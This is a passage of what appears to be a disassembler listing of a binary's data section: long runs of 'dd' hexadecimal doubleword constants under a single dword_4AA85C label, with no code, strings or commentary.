0D9EBD9F8h, 0AFC13E58h, 785CEBF1h, 4ECE7288h, 988934F7h dd 0F84A309Fh, 0C5003AC9h, 0F8656A87h, 5BDF2C29h, 0C25A1D23h dd 0FE014EDDh, 8093262h, 0EE2E210h, 52247F8Ah, 38105C3h dd 623CE3FEh, 0E0A97EEh, 6F1DCDD7h, 2A4D3E00h, 60B85652h dd 0C8310B49h, 44BF8E9h, 61EE8B35h, 4294D92h, 94951DAEh dd 0FD8B71CFh, 0EB3AE4B8h, 1080B19Eh, 8133682Bh, 796AF8C9h dd 2831ED6Ch, 0C11B8EECh, 45C7230Ch, 4DF53FF9h, 45BDCB04h dd 79950DA6h, 8A77EB10h, 4F42D8CFh, 428F00C6h, 912F6838h dd 9EAC648h, 5B932C7Dh, 0D443DB04h, 4EBE8A30h, 552D32BBh dd 1AA85340h, 0E90E0C05h, 8CBAAE42h, 5C017122h, 0B8B9366Dh dd 167FE2E4h, 0B5C5BA3Dh, 2FE91380h, 64E6BF38h, 20AA5AB7h dd 8A801192h, 92296AAh, 0CC555ED8h, 0E073680Fh, 4318458h dd 2C775705h, 0DD0B7C0h, 0F640701h, 724A3574h, 0C2F5B740h dd 56517FEAh, 4FF46713h, 2F85FAC7h, 38D1D9E1h, 128CFE68h dd 9C32FABh, 5D521899h, 41EB2141h, 3ACCE908h, 0F9EEECC4h dd 7988E59Bh, 0E445448Ah, 482D7340h, 6F3D96E5h, 0A584C526h dd 0FEBDEE70h, 13B68A7Eh, 3F8469E0h, 0D1791F6Eh, 5FB69201h dd 0E9C080FEh, 44942957h, 584A7C49h, 82C247h, 9B440DD5h dd 0E6D12663h, 4770122Eh, 71504A5h, 121EA3F0h, 30AB384Eh dd 0F1C68AEh, 72A45C95h, 0A2503242h, 0F7CC729Fh, 0AAE7852Ah dd 0AC30FB2Dh, 81FA5422h, 2DDAB8CDh, 13F38B0Ah, 0C6015804h dd 7B7E7EE3h, 3B5E95D9h, 925DE9E1h, 0D749507Bh, 7F812819h dd 73F685E0h, 881C50Dh, 6A646DEh, 32A8019h, 4C08E929h dd 0CADD13BFh, 507F00DAh, 9090431Dh, 16665C9Dh, 3FF1215Bh dd 0F6348E4Fh, 40B3E9D6h, 0FC280BEh, 75B151B5h, 0F2100965h dd 0ED74C6Bh, 73164A68h, 258BF401h, 0B43E27C7h, 530BED61h dd 15E5D2Dh, 0FDE3E9E6h, 0C34F076Bh, 0D7700B21h, 6A2768EAh dd 0B1E0104Eh, 6360E18Bh, 78B20552h, 94F43BE9h, 0B304BFBEh dd 0A80C101h, 50023858h, 13B38A63h, 0FE22FB2Ch, 0D8FA4A12h dd 0D44ABC76h, 680909A2h, 0A0DC4E34h, 0EB91E9C1h, 90016F3Dh dd 115E258h, 0B81C70CEh, 47CF825Bh, 2CA18F10h, 50054958h dd 6285EDB0h, 8BAF3C25h, 91201039h, 12CCA94Bh, 28FA62BAh dd 50BCCF82h, 4AEEF120h, 0C98D4C48h, 98D25766h, 90C3B32Ah dd 809DACECh, 6A35BE23h dword_4AA85C dd 0E1024EE1h, 0B800203Eh, 7EBFB612h, 0FA3D97EBh, 0CF8E1536h dd 9C7D4A3Bh, 0AD056B93h, 0A0B7EB32h, 0DE5B3C20h, 7FAC4882h dd 492CD6C5h, 802A6722h, 6294942Eh, 479D176Eh, 0D40BC4ADh dd 80691C5Eh, 0FA39174Fh, 7A099D1Fh, 55888BD7h, 1827AE68h dd 0E9DC8E06h, 80CCF3C4h, 80150DADh, 0C1B5E688h, 0C73B5821h dd 0FA0453B0h, 0D12CE881h, 32B26A59h, 0A2F7D7C4h, 7484600Eh dd 40384A69h, 0E2048109h, 56137C9Fh, 628EAC80h, 2668F22Ah dd 6E7E44C5h, 59E9D767h, 0ED93B654h, 0EB35C4FEh, 0C990ACA9h dd 0FE87B6C4h, 604F76CBh, 4805662Eh, 51D4E48h, 272C70C5h dd 2A1689BEh, 291263F3h, 396604C3h, 0EFA013E1h, 795E5525h dd 3A01EA40h, 5E19266h, 418539BCh, 0C88AC245h, 6E9CD354h dd 517D8E42h, 34FE5F68h, 20C1808Bh, 7909850Eh, 0C2012D5Ch dd 0A975E48Bh, 24B3E597h, 25EE024Eh, 59607CB3h, 2D2CE956h dd 29CFBAD0h, 0DCED5215h, 0BB4602D2h, 0A4D02967h, 0E90A50FDh dd 4A92B6C6h, 7CE46817h, 49CF50ECh, 0B2432044h, 1BB70497h dd 7AA89FE9h, 9759B058h, 0C2C62984h, 0FF89EEDEh, 2D3E4F82h dd 12990463h, 0F1B48059h, 41E9D15Eh, 1D9CEC81h, 0BC0AB462h dd 0E39AF889h, 96D55909h, 0AF539F47h, 0AB14E90Bh, 0A728D435h dd 8D1367D1h, 0AF597D82h, 0C2B729A9h, 0CA0893CFh, 8284F598h dd 68B2BB5Bh, 89A0596h, 39638D23h, 6858091Eh, 0B5DBD0E8h dd 2654BAFEh, 0A7797BE9h, 0C0499DD3h, 9AEDE9CCh, 0FA2D4A2Bh dd 5F5998C7h, 54AABF0h, 0B584FFh, 362A93ADh, 0AA59684Ch dd 272D7F8Bh, 0B3EC564h, 45D44AF0h, 86081151h, 25F7D440h dd 0C4774FDFh, 720CC0E1h, 687D2F83h, 0D1363924h, 982C7A69h dd 68B94020h, 0D909EA27h, 0DB19BF97h, 6EE51310h, 0EA2BFD29h dd 0A0638B09h, 9DBA661Bh, 5031E91Ah, 0EBE729D1h, 0EA100CDAh dd 0C20A1BCAh, 5AC52227h, 0D29928A1h, 0E4569099h, 877BB5F9h dd 0AEF18000h, 80530368h, 0A5D25FE9h, 9030D621h, 265EBE00h dd 6812462Ch, 596C1802h, 85285E03h, 0EF48E9FEh, 0E2EAFAC5h dd 0D26EC669h, 0D805021Eh, 29463C0Bh, 3D9DC7DFh, 3C69CA85h dd 12B1FA54h, 3AE90801h, 0FB4ADF3Ch, 0B87F576Dh, 0E961A258h dd 0F12A3141h, 0C9F46B2Ah, 1428130Eh, 0BE4F121Fh, 0C501C9C4h dd 7A9469A6h, 8CE8107Eh, 13242E2Dh, 470413E8h, 0F3AB4FD7h dd 0D52DD380h, 70C2AC84h, 715BCD4h, 6FC958ABh, 1927E760h dd 0A56FE77Dh, 0FCE5FD3Eh, 0F7FE46DDh, 26CB7F0Dh, 956EE3B9h dd 0EE211AC5h, 6A6E58Ch, 18387C31h, 0C064DDBAh, 360A2768h dd 0C205A2C6h, 11A8D28h, 8AEE8618h, 72622C44h, 1FE90C85h dd 5EE80AFh, 0DCDAF62Eh, 3AF8F13h, 0AAFE94Ah, 0D2F72018h dd 0FCA8104h, 6171485Bh, 3C07E5h, 0C43EA49h, 0DDB06487h dd 6E301C5Eh, 627069h, 2C270522h, 0E72D16E0h, 7DD24B13h dd 741C2B8h, 5A1184F2h, 1E8A6B87h, 3705033Ch, 0E838C732h dd 0AABA52D8h, 65808208h, 423E09FDh, 680467B6h, 0E9023992h dd 0EE56EFDDh, 568296h, 31A404AEh, 0E88FC5F0h, 2EF04FB1h dd 0C0520EF4h, 0C5DC06ECh, 0C2E288FDh, 98DAD70Ch, 1DE9570Bh dd 334C4861h, 6DF80346h, 4D50E581h, 0C5F1C0CCh, 1A300F43h dd 0ECB0C44h, 41C7C29h, 84CE0F5h, 0A654801Dh, 2E619B42h dd 0A590F00Ch, 0F5445370h, 0F7215E8Eh, 0E81ABDE4h, 0AF7ADEC5h dd 53B248EBh, 60599527h, 0F6E6D18Bh, 7FC6823Ah, 9A8B561Eh dd 2309F50Bh, 10340FDh, 0C26B91D8h, 0AA507EE9h, 8542A2B7h dd 0B68025Eh, 551CA255h, 69DC74B6h, 97BF3BD1h, 840BE78h dd 0DA3E70CEh, 8C8EC20Ch, 550580h, 61685EA0h, 0B4459D60h dd 4A809A7h, 13E358B3h, 0FEC22A0Bh, 9FB05311h, 8B0BC3CEh dd 0ED9CFA23h, 3864E03Bh, 9CC8014Bh, 2993C92Fh, 4BFD607Dh dd 33772708h, 6274E878h, 0A8E3D9BDh, 34CD4DBCh, 8C57052Dh dd 942216BAh, 4AC225B6h, 0F5DA27F4h, 6C5B638h, 5D60CD9Eh dd 9591E0D3h, 0AFBA2859h, 5DBD09ACh, 0BDD3F583h, 0BA5E0E01h dd 0AB4922EEh, 1290B2A7h, 22D6C003h, 53942D97h, 0A85E5404h dd 0DE8B044h, 0A6174BC1h, 64250BBFh, 0A8E68EE6h, 0DAE327F3h dd 31D776EAh, 0B22B26E3h, 5C4B78B4h, 0F33EA9A1h, 0F767183Ah dd 48B9B842h, 0F14BFA61h, 683CD048h, 7425ED2Fh, 170720F6h dd 0B8D597E9h, 0E6C6F743h, 0E5C0B54Eh, 5E970DCCh, 0E9934E9Bh dd 15C833B0h, 0A077DA52h, 59EA88F7h, 2554E85Bh, 0A9460187h dd 8997D69Ch, 40E07D22h, 9F634E7Fh, 5379E57Ch, 612AAA2Ah dd 0BE115313h, 60309F28h, 0C15B5A48h, 0D2D202EAh, 350B7FB8h dd 60DF60E2h, 1E74CD88h, 4C49F356h, 861204EDh, 761F6E13h dd 8AD2C0EBh, 0B14B32DFh, 0EBB88C4h, 0ED76F517h, 506F52E1h dd 62120275h, 0A9075299h, 0DF0B69D1h, 8B988ECEh, 0ED25114Bh dd 3547609h, 0E4C33F30h, 0B53EADEEh, 86D92D49h, 0F9EA3486h dd 4899BE05h, 5AA5FB30h, 6EAD8910h, 16181CB3h, 0E37E8B50h dd 0D6C6C9C1h, 0AE30C21Ah, 0F46402EEh, 0F2894AB1h, 2A88261h dd 7107FD5Eh, 7834112Dh, 0AFE16E23h, 5F590702h, 0E958C1D6h dd 68C46974h, 565AC9E6h, 0C0044FF8h, 0BA21EE4Ch, 0B8505480h dd 0F205FE1Bh, 8B65EDE9h, 97FA86Ah, 0FE2D5668h, 0C68C631Bh dd 59C7C303h, 0DF651667h, 3824C595h, 0F93FD3A1h, 0A4551048h dd 51822C03h, 43D19FB1h, 7657C20Bh, 315AC56Ch, 7F541765h dd 0DC5E008Bh, 7197593Fh, 0EC56E4ECh, 0DE298356h, 0FF06CD53h dd 2CBF6F3h, 0B77717F1h, 0AB5851A8h, 531ED717h, 78C4EEh dd 0EB015907h, 0EA60B3E9h, 3D25483Ah, 47C60117h, 0EF024F35h dd 0DCCB606Ch, 284ABF80h, 20FD5D37h, 594AF388h, 49D0B95Dh dd 64645E30h, 0FA5BB222h, 0DF892704h, 0ACB18CAEh, 6927D39Eh dd 0B5ED52E3h, 0C6B2A1FBh, 6B0E12EFh, 3231EF20h, 86C305E2h dd 68920BD3h, 0FEA049A1h, 78E47C80h, 0A68259Ch, 184E2234h dd 6B7845Ah, 0ACE130EAh, 645F0A59h, 502C6DF0h, 4F33A813h dd 9CA03323h, 5D084B9Dh, 9FF122F5h, 0E5BB559Ah, 93E169D9h dd 0D015CE2h, 6A7C6803h, 64A7CF2Dh, 5D6DAAE9h, 0E0C24248h dd 0D13A12A1h, 11A08EFh, 0DC40DD4Bh, 302C267Dh, 412D63F1h dd 56C0BFB9h, 816701EEh, 244572F7h, 0E3E07B4Eh, 52193D35h dd 40D440A7h, 546A85B9h, 0D0EE0B74h, 683EC0E6h, 0AB0EDD94h dd 5D37EBA9h, 0C1AD1CC5h, 0E16C8532h, 4E765C28h, 0EA7044F1h dd 80E7EF95h, 0E8DA5916h, 44E8CFEFh, 0B4F4ED5Eh, 1922186Ch dd 29730C69h, 144250Bh, 0BB200ACDh, 0DC895A9Dh, 1D4F9D8h dd 0B71FACB9h, 2CE8780Eh, 3C16514Eh, 5D49C8BFh, 6EC36815h dd 341393CCh, 2E6867C8h, 0C46D1564h, 0B968E00Ah, 3846C712h dd 14C0E1A0h, 0EA098C1Fh, 96590B02h, 18798903h, 0D5F10162h dd 92497851h, 5D6D608Bh, 412A91B4h, 202CC0B3h, 0D2F5D8FEh dd 0F24F0951h, 0FDC8CE0Fh, 0A10B802Eh, 0F418FD7Eh, 0B09C0966h dd 0BCD5388h, 3D0BFA29h, 0A0901C52h, 69653300h, 44C90513h dd 0F73113F2h, 34315AD8h, 59A7E25Dh, 0BE4792CAh, 92813A89h dd 0FD60E6B8h, 1A003E0Ah, 4714FB2Dh, 79C09D32h, 81BFB2E9h dd 1C580CEh, 28040B2Bh, 0E50C01F6h, 51FD9FEEh, 5D20CA5Fh dd 65AB95EBh, 8E27D0F8h, 20046CF1h, 0C38213FCh, 20F37E5Dh dd 6AC848CFh, 0F4AD273Ah, 79F76C42h, 0B8F2439Ch, 8290F8F5h dd 753A64F9h, 12C10EF0h dd 767155E7h, 4EF47260h, 6C67F0F3h, 8602002h, 802DF029h dd 67355E07h, 6F372826h, 624559EAh, 542E6809h, 0F2C960C6h dd 0BF2DD8D9h, 0D88610CCh, 609DA46Bh, 3EAA1493h, 0B4134636h dd 0D02DA992h, 261705E8h, 7DAD4196h, 9E5F0840h, 93676DF2h dd 39FA3192h, 8D417AD7h, 9D5BBBBEh, 20CEF8DFh, 0E0395C5Dh dd 4EC32B10h, 0EE9E96ECh, 0BF4F0C1Fh, 0CD0B2D18h, 8C272F5Bh dd 48EF32FCh, 0BFD22308h, 29C00320h, 0F4EA4EB9h, 0E925D055h dd 970CD8E8h, 0B9499FF3h, 9B344C9Ch, 0C60925E9h, 13898179h dd 841E77BCh, 8CC52E4Bh, 7F689B0Bh, 28827462h, 0C30E3CF5h dd 0C9DF315Eh, 12986980h, 667CB447h, 6F03EB26h, 0F768F642h dd 59807212h, 0C558FEADh, 0F6AD095Fh, 4FDAF6C3h, 42F87F92h dd 0DAC8BE9Eh, 0B51E7102h, 0B942FF37h, 215F9869h, 61A947E3h dd 0E8722835h, 5E7E9305h, 3AEDAD90h, 7DB737F0h, 0D1F73245h dd 0B941E118h, 4FFEC99Eh, 4DEF3D82h, 0AD553B22h, 5D1E60FDh dd 4F729001h, 5F94C152h, 8A82B29h, 49B02ED8h, 0B2422DBEh dd 0D1F1C1BFh, 3756E933h, 6BC8663Dh, 16B73984h, 0C3E15CBBh dd 2D284A9Ah, 2DF01348h, 781FBA92h, 4CE897D1h, 9083BFDBh dd 0F2F486C4h, 0D7F24F7Dh, 0E9E1D432h, 2AB67C51h, 704BD79Fh dd 0B596D7E7h, 4024799Fh, 6E8FE950h, 0A899D1BFh, 22C227E9h dd 5344DDFEh, 0B1CBACBFh, 1AC1E956h, 2E4F96Ah, 0D68D0F7h dd 92D85934h, 2D434B4Eh, 0DD0D9277h, 0F00117C8h, 975FC4B8h dd 0CBCBDFBDh, 510ABCECh, 2D4DB368h, 22DD12BCh, 0BD08BBB4h dd 0FFC15BB2h, 1A582B11h, 8277E6EAh, 5B7504D2h, 55FA437Ah dd 0EC5C9440h, 0A8985AF1h, 3ACC46Bh, 53D48212h, 35E7BD00h dd 872E5AFBh, 38B88051h, 57251A0Ah, 71C25D68h, 0D014CD03h dd 187EDB07h, 0F8A2212Fh, 31B9A05Dh, 0C48F66C3h, 0A0B620AEh dd 1909C973h, 54466D14h, 600388F0h, 8047B41Fh, 5CC3EDE4h dd 0BB300FF1h, 7C2947A0h, 0FC04D877h, 0A104C1Dh, 0C8582CF1h dd 382768E9h, 0CF915630h, 54BA4D66h, 10438E9h, 3DEBB53h dd 862E5538h, 5A0645Ah, 0AB2FD8FBh, 82857053h, 0FEA68583h dd 56278BF3h, 29D2E27Dh, 729C55E1h, 87C6811Ch, 54716F0Bh dd 908A0C2h, 0FED708E9h, 966945DDh, 2D53B5h, 0F011C88Ah dd 71EB0134h, 5F973F10h, 0AC782563h, 0A1DCB9EEh, 0D72462E9h dd 2F50BBBh, 0CA57EF5Bh, 19ED41F3h, 65B8C050h, 58F72D53h dd 5DA590FDh, 31E230E9h, 8002C467h, 9D2CC239h, 0F28273EAh dd 0D7D528BBh, 0C0F6F2Bh, 0EFDDF627h, 0F5140417h, 0D5CAC41Dh dd 0DC73B585h, 37B86729h, 76685602h, 0A106020Fh, 0D4CDE9A9h dd 0A289316Ah, 9DFE05BBh, 4F877915h, 39CB4AC8h, 0CF5FE7Ch dd 0DA086FC3h, 0ED2FE9EBh, 0EE78FA56h, 0FEE427A8h, 0D1D7B4A9h dd 365DA72Ch, 5C0AB030h, 0ABD29A1Bh, 6801B8CAh, 66DE509Ch dd 0A8206B5Ah, 0B05B36BCh, 0BEF20431h, 0F010EF5Dh, 605B0F2Dh dd 0D16A61C9h, 7F31B5CAh, 0D4E2F6A8h, 6813C178h, 0D5A349CAh dd 0AA594C0Eh, 0CB2AE9C3h, 0FA684003h, 0D7627246h, 9DE933B4h dd 0B614AF05h, 0D8CCD1D9h, 7D870494h, 42A33AC4h, 0DD492C7Fh dd 10A7680Dh, 0F9532D4Fh, 455DA794h, 4656CD28h, 0C67330ACh dd 0F809C690h, 0DE158821h, 0EC5B92C7h, 5E0C4062h, 0B6F4E919h dd 18325077h, 0D4F6B50Bh, 0ECE9240Eh, 0ED90F187h, 0A5681ACh dd 4B5A9C76h, 0B15E5DC6h, 0A0C8B209h, 6C39715Ch, 6B95B831h dd 0CDDC0D6Dh, 0FD746225h, 0AA24CB22h, 0D909BA0Ah, 0A94553Eh dd 5E01C52Dh, 65540E38h, 3F8210Bh, 0FF551616h, 0C2C39630h dd 625E2648h, 3E7B3C67h, 603F456Fh, 4D20F302h, 4E570DD1h dd 68593EC1h, 1CF472ADh, 825BDE58h, 25DF96FDh, 84D9A113h dd 0DB305199h, 3DA2CC3Bh, 8D2C9B9Eh, 0E3CEA81Dh, 6B82DEACh dd 5F1B7E54h, 882C878h, 12FE27C3h, 5D7CCC0Dh, 517E0C36h dd 52DF437Fh, 0B072E8EFh, 274F66EEh, 0E6C149B3h, 40844C6h dd 4D70B9Ch, 0EDAE152Ch, 0D7C8896Ah, 2838FF81h, 422CA7D0h dd 2A636182h, 42511F7Bh, 9FC180F1h, 0E7E30B63h, 7CE5063Dh dd 0CF88C51Eh, 0E6FC3E96h, 7669AF5Bh, 7180613Ah, 9ECB78EFh dd 0C9AC6912h, 0A8ABDC5Fh, 0E3EDB241h, 2902BA41h, 0D7C9FF07h dd 539791C4h, 43934A92h, 8814F68h, 65992F4Ch, 0A17B6EAFh dd 0E0B105C2h, 3168B39Bh, 62C3544Ch, 25BA007Ch, 0C16D5805h dd 930E9318h, 3E068CCDh, 0D5F70D35h, 79590CA2h, 150C7B27h dd 627C67FAh, 28AFE501h, 2FE96FF6h, 5DF0093Ah, 54BD4550h dd 55A1E78h, 0D409E9C5h, 17DDC42Ch, 6C6A898Bh, 93ED5A53h dd 0BCD9444Eh, 0C3640B26h, 1E3796D1h, 13F98959h, 0BBC9B032h dd 2878FEB5h, 12FD0BBCh, 6AF503EDh, 0E040F5C6h, 0B902DC5Bh dd 0E9FA29EBh, 0F277707Fh, 26227AD2h, 907E0954h, 0DF871DF4h dd 2284BDD6h, 0FF0EC5FAh, 2EE90CD8h, 0C1063EC5h, 3A403A68h dd 3C435E31h, 636BDE07h, 3E9E5D64h, 0C3BEFB0Dh, 606E20C1h dd 0EE95BDBh, 281A0F4Dh, 0F426D0EDh, 0A98EF6DBh, 0F3AE1242h dd 0A6A3DDF6h, 56FA6A0h, 0BAA15AEBh, 0BF40BAB1h, 79282F46h dd 6C64133h, 17831C08h, 20851804h, 0A7C463DBh, 8405A1AAh dd 6F0AB224h, 40DE6D83h, 0D65B0828h, 152EA1Eh, 0B9F0C802h dd 2CB445FEh, 50C910AAh, 79406991h, 0FDDDB059h, 1266F3C0h dd 0A4157D68h, 28F8B433h, 584DE37Ch, 1EF8D60Ah, 0CE296463h dd 7A51A3B9h, 0F9097E52h, 0D00BA910h, 38828C8h, 0B0D52FB4h dd 0BA020C66h, 2C46010Ch, 717E57h, 81721038h, 3D1345E6h dd 8E06FF8h, 3C144147h, 40BA4EBDh, 6721BB22h, 43093029h dd 0D558BEE9h, 0C7FF233Ah, 8B901ACDh, 0D57B4F41h, 4D7030C9h dd 0CB55105h, 0A4C0D5F6h, 0A0EA08DBh, 0E075F291h, 486E98D1h dd 0C6730FC1h, 16301A32h, 0E9A3041Dh, 5D96EDE6h, 257F4ECAh dd 0B359B664h, 0A84ED384h, 7DC29B82h, 13B67278h, 26F8F488h dd 4275270Ch, 0F040DF5Ch, 0EEA8B197h, 31205FFAh, 585A1354h dd 23770657h, 527785F6h, 25C0854Eh, 0DF04E5C0h, 0DCC599D8h dd 0CCC6CCBBh, 53B8EEE0h, 26724Ah, 120D5E48h, 0F2C0A95Dh dd 0DCE7557h, 84D6E79Fh, 0F5C8BE0Fh, 5C2C502h, 0A99E7681h dd 892AB23Ah, 682060D0h, 0C56158F7h, 0B2C9BAD6h, 73C5937Ah dd 2A0E3AD9h, 702B5A1h, 0E7DDF058h, 0E6C0DF85h, 6981EF07h dd 420088B1h, 220AE281h, 0C66BBE57h, 0F2759602h, 0D1E857B6h dd 761D094Fh, 7993E91Ah, 2FF3CDBFh, 214B16AEh, 3FA4E9A2h dd 0C5EE6413h, 82BDE92Ch, 0D6424B68h, 0FE096462h, 0BDC741E0h dd 0E9619CD9h, 0C550BB4Ah, 0E8749FF2h, 40AD9872h, 0B8EC5812h dd 0A47C9B48h, 0B58BD0FEh, 0F35E8662h, 0DF090AC2h, 3D7DA420h dd 42BD3FEBh, 0A896776Dh, 0AF302041h, 3BAE41F9h, 0F38B3283h dd 0BB86FDF1h, 0B7531385h, 0C2E1A1C1h, 0BF8BF060h, 7DC5B5C9h dd 0F19B2Ah, 472C17D4h, 2B540668h, 4269E0F4h, 47C7A46h dd 7D27C8C7h, 0DF618265h, 0E2974D70h, 0B93DC98h, 12F41CB9h dd 4201762h, 7517D25Dh, 2D3F8888h, 6D0C848Dh, 28EF4E90h dd 5325E9C4h, 0C835F101h, 0A1265017h, 35005F82h, 7D8E4A91h dd 68A70951h, 4655878h, 0FC11808Fh, 0D244B0ABh, 680451B4h dd 0CEBB6ED5h, 61B24ED0h, 98F6AB93h, 0FC67E909h, 5B709F10h dd 0B5E18980h, 0C101BB6Ch, 273B5DE5h, 0A8A0D901h, 310B9508h dd 97961CD7h, 46AA30D7h dd 0B3FE4AFDh, 7FC389EFh, 0EBF8EC78h, 0F882F797h, 2CD8E3E9h dd 8B48F19Dh, 11D6BB43h, 82597772h, 3AF1941Fh, 9571C631h dd 0CBB651DAh, 0D331D5DAh, 0DF0924E8h, 40A33260h, 0FB6B01F1h dd 0C6E17FA0h, 3ADC825Fh, 757D5717h, 0A042D885h, 157B689Bh dd 8DBEC7A6h, 93225D27h, 5100E43Ah, 282705B9h, 5CA580Dh dd 1BB36054h, 8C4C0F7h, 485A6764h, 83E45DBFh, 1E073B35h dd 2F65E991h, 0F3800A02h, 2D6D419Dh, 0CE2BEC6Fh, 0A342365Fh dd 408103EFh, 76414003h, 76F3F24Eh, 2DAFB06Ah, 0A168B491h dd 90B2D13h, 54355Fh, 0F793074Fh, 9EF0E7D3h, 7D87230h dd 0A9270F25h, 5209DF55h, 0EF09F085h, 72B305D0h, 0B4CB2780h dd 375CD4F2h, 0E90A040Ah, 96B9E3B0h, 82A00D04h, 4196B790h dd 64BF2FC5h, 63E498C6h, 2DADFCA8h, 2DE8DC95h, 9825E9FCh dd 3161FFA3h, 0A39C27B3h, 0CAF63FCDh, 85EC357Ah, 4B56F914h dd 0D5F0D2BAh, 0FCF10BDDh, 97D7A5EDh, 0D209254Fh, 648DF95Dh dd 0A995FA50h, 41BD9EAh, 0DD84EB1Ah, 5E2FCAAAh, 80E46CF2h dd 60440885h, 9764D5Ch, 17547A5h, 43FCEEA2h, 846A05F1h dd 4005D9ECh, 0AB4BB7E0h, 25BB0902h, 5C5E8B50h, 1CD241Dh dd 164D93C3h, 0C9B26F3Dh, 9AE02C1h, 2AC9716Eh, 0BFA4E6A8h dd 0BB97DFACh, 0C9F452Dh, 2D02A5E9h, 6141CF21h, 0D2B401F4h dd 0E8E7E12Ah, 18BF3114h, 0B5903908h, 7D69B0D6h, 0D7FC1CF8h dd 3BF0CA49h, 0ABC69A32h, 127E5D0Eh, 0D9C7FC9h, 0AD685609h dd 74CAB01Eh, 0A99B951Ah, 38DC2400h, 0E95E11A8h, 0F80249BBh dd 4F783E10h, 0B663D4AEh, 1277703h, 2894FF59h, 0DEDCE912h dd 87E7E444h, 0E8B0A780h, 9D1970B2h, 3C96DAF4h, 274B2AF8h dd 0E027A230h, 0F2EE4E69h, 0EC9E38F5h, 0BE1ECFDEh, 0EADC2B85h dd 75A89046h, 768907B7h, 0B45D6574h, 0D5C4AE95h, 0E3A19FF2h dd 282AB7AFh, 0E4C51872h, 2D860938h, 6C812B70h, 0D6A9790Bh dd 8F1220DDh, 0C124A410h, 0F719BA0Ch, 0BCF1F067h, 76701812h dd 982478BCh, 3F64A801h, 402CBFC5h, 4BF5007Dh, 0E96D5432h dd 5CE0512Fh, 0AACE58A0h, 8CE8FE4Fh, 6A61FEA5h, 0B9000CBDh dd 2C5C250Dh, 6B5F4811h, 9D46500Dh, 42AF2871h, 23D3D5AFh dd 0A3AA0593h, 0E93BD817h, 0E2625BBCh, 29E28B5Fh, 655D066h dd 0B69E3EDh, 11080C62h, 32CD242h, 232F3E49h, 8BF52902h dd 0D729D1C4h, 0CD815F89h, 0A0663858h, 6AD2A754h, 955C4E2Ch dd 0F55ADB74h, 5F5F6044h, 0EF2A43E1h, 2C055B16h, 26B4647Eh dd 31AD40EBh, 6DBBF84Eh, 28B682B0h, 0D745E343h, 882F3D8h dd 4FC8F61h, 9FE2FEE0h, 0B490FDD2h, 0E927B484h, 6292F9A6h dd 0CD7D9C54h, 900D1768h, 235FE1B6h, 237204Dh, 78334B74h dd 0A0F18A49h, 3911E88Ch, 2E7DE3h, 982B1E5Ch, 24BB1240h dd 3D3EA507h, 0E9937F97h, 0F02D740Ch, 0BD4F00EFh, 0EE6784F0h dd 88009AF3h, 0E9B50958h, 3B060312h, 73B0C081h, 0E3D98032h dd 0F41BA6Eh, 2381A633h, 10A08028h, 0DE84760Fh, 0BD987F1Fh dd 44EF4714h, 5920201h, 1FF19589h, 4DF71981h, 4728BFC8h dd 0BA07C984h, 29C0101Ch, 57A3880Fh, 2DA186B2h, 24259Dh dd 9053B157h, 0BE100052h, 266C0FF6h, 4D748D8Bh, 0ECEA65C2h dd 0B084639Dh, 26FB87E3h, 1B082A75h, 0AC1119E8h, 0FA161395h dd 0A08F838h, 0CA26850Fh, 2E0B6Ch, 24427D70h, 0E4B11E02h dd 0AAC7BD03h, 2CE9BEh, 78CE525h, 0E38ED0CCh, 164AF000h dd 85473C34h, 0BD890C22h, 0E9702AB1h, 865E5Dh, 7A55113Fh dd 2E962416h, 1CD1B6Ch, 0F642E7D1h, 0C6B1C0E5h, 6BCD40Eh dd 265F00A8h, 0A582A3h, 0CDEEED6Fh, 0C8FEAC09h, 0DC3E9FF8h dd 2E6100ADh, 0FAA907C4h, 493100C5h, 0ED03A59Ah, 453122Dh dd 8AE88004h, 75C4681Eh, 8518C32Bh, 23E06427h, 0D27CDE29h dd 0C21D1200h, 0C4FA8C4Eh, 233033Dh, 650C86F2h, 2284297Ch dd 194250DDh, 1156CE11h, 9A11D3E6h, 8052142h, 0A29157EBh dd 0E4FD5E00h, 849AC236h, 0B9A11700h, 62ED7AB1h, 0E0573B44h dd 5EB76400h, 298BA9C2h, 714A2400h, 0D07BC60Bh, 1C01006Bh dd 0C38749AAh, 0AD07B198h, 9D947D78h, 6CC782F0h, 90BE0068h dd 4AF9C974h, 6D009325h, 8C984161h, 0A23C3Eh, 0FAB4A07Dh dd 67B91675h, 0EB059100h, 0C12BC73Bh, 2EE80E06h, 9A40C4DFh dd 0F8493221h, 57D7AB00h, 3ECFE1E2h, 7DDC75D0h, 8A1300EEh dd 0C9B1395Fh, 0F2009D4Dh, 0FC22A5F3h, 2820D5h, 0D11072CCh dd 0E88F26AFh, 0FE4E9400h, 2159E0E2h, 20DD0077h, 9B486654h dd 21CA3AAh, 9DC00C51h, 0D08D3A46h, 855E01A8h, 99DD4B82h dd 0FA07FCC8h, 0AB52F8A0h, 0ADB0E30Eh, 0E4F00A1h, 56C87FFh dd 0FC0C9F1h, 2FB8C04Eh, 9F00E9D0h, 0BF75355Bh, 471365h dd 0A7720659h, 95553C78h, 0BCCF4102h, 8B3337E2h, 0BBCA00E5h dd 2DF392h, 843C9F2Eh, 6A5A1F53h, 0F9464D00h, 0CC1179A9h dd 0A07B0016h, 0AD972F02h, 1900251Fh, 6F095A7Ah, 3A75AAh dd 63C137CFh, 0C0CC621Dh, 0B791D201h, 0EBD8BFF7h, 40C01E7Bh dd 0AE8E2B01h, 9C008BA0h, 0F96EBD4Dh, 0CB6056h, 0AB810EDBh dd 7FB5B65Ah, 8338453Eh, 77DA1765h, 0B0F593C4h, 49B559Eh dd 19BE0CDFh, 0B10C8004h, 260076DCh, 3952D2EDh, 0C0DA73FCh dd 0B6C5BA8h, 11242541h, 0AE0073B4h, 4E12FCD3h, 0E3D700EDh dd 9B578A80h, 0C500729Ch, 0E748EF35h, 3C3ACFEEh, 0DD00B8C2h dd 90BFE8A4h, 6C3D5AF1h, 0A3D78008h, 3C3FA803h, 49CE24F5h dd 0DC05002Ah, 25401EB9h, 513E2B04h, 0E890C23Bh, 264209B6h dd 8A9B30h, 2CE8880h, 7000C15Ah, 0D4CC8D74h, 755B6C3Bh dd 9A5C3919h, 18319803h, 0B2808B3Ah, 0D1000723h, 22BA05C0h dd 48013D86h, 747C74CBh, 0C10F004Fh, 1495B7F7h, 857D1CA8h dd 80AB7828h, 3323Ch, 0D261C6D4h, 7FF682DDh, 8CF5265Fh dd 0B51220h, 0E394EC04h, 830019B2h, 6B16D332h, 3CC44AF1h dd 0E909294Bh, 0F6808C2Ah, 0F4DAB87Ch, 4CBB39h, 7B818226h dd 363315h, 79D50FB4h, 88F32D55h, 83605Ch, 414C2FB3h, 